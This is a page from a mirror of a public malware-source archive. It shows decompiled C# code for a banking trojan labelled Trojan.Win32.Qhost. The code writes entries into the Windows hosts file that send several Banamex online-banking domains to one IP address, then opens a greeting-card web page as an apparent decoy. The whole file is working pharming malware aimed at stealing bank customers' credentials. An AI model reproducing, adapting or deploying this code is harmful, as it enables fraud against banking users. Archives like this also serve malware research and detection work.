mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
35 lines
1.5 KiB
C#
35 lines
1.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Gusanito.com.Module1
|
|
// Assembly: Gusanito.com, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 400B3F11-2401-4766-8C54-D7D387751E86
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Qhost.aph-b3f918da151d54c153dbcbd6397a06865ec2d0e7fc43cb986d982b16e703ac2f.exe
|
|
|
|
using Gusanito.com.My;
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.IO;
|
|
|
|
namespace Gusanito.com
|
|
{
|
|
[StandardModule]
|
|
internal sealed class Module1
|
|
{
|
|
[STAThread]
|
|
public static void Main()
|
|
{
|
|
StreamWriter streamWriter = MyProject.Computer.FileSystem.OpenTextFileWriter("C:\\WINDOWS\\system32\\drivers\\etc\\hosts", true);
|
|
streamWriter.WriteLine("189.163.58.225 www.banamex.com");
|
|
streamWriter.WriteLine("189.163.58.225 www.banamex.com.mx");
|
|
streamWriter.WriteLine("189.163.58.225 banamex.com.mx");
|
|
streamWriter.WriteLine("189.163.58.225 banamex.com");
|
|
streamWriter.WriteLine("189.163.58.225 www.bancanetempresarial.banamex.com.mx");
|
|
streamWriter.WriteLine("189.163.58.225 bancanetempresarial.banamex.com.mx");
|
|
streamWriter.WriteLine("189.163.58.225 boveda.banamex.com.mx");
|
|
streamWriter.WriteLine("189.163.58.225 www.boveda.banamex.com.mx");
|
|
streamWriter.Close();
|
|
Interaction.Shell("c:\\windows\\explorer.exe /n,/e,http://www.gusanito.com/esp/tarjetas/postales/te_extrano/lejos_de_mi/780", AppWinStyle.NormalFocus);
|
|
}
|
|
}
|
|
}
|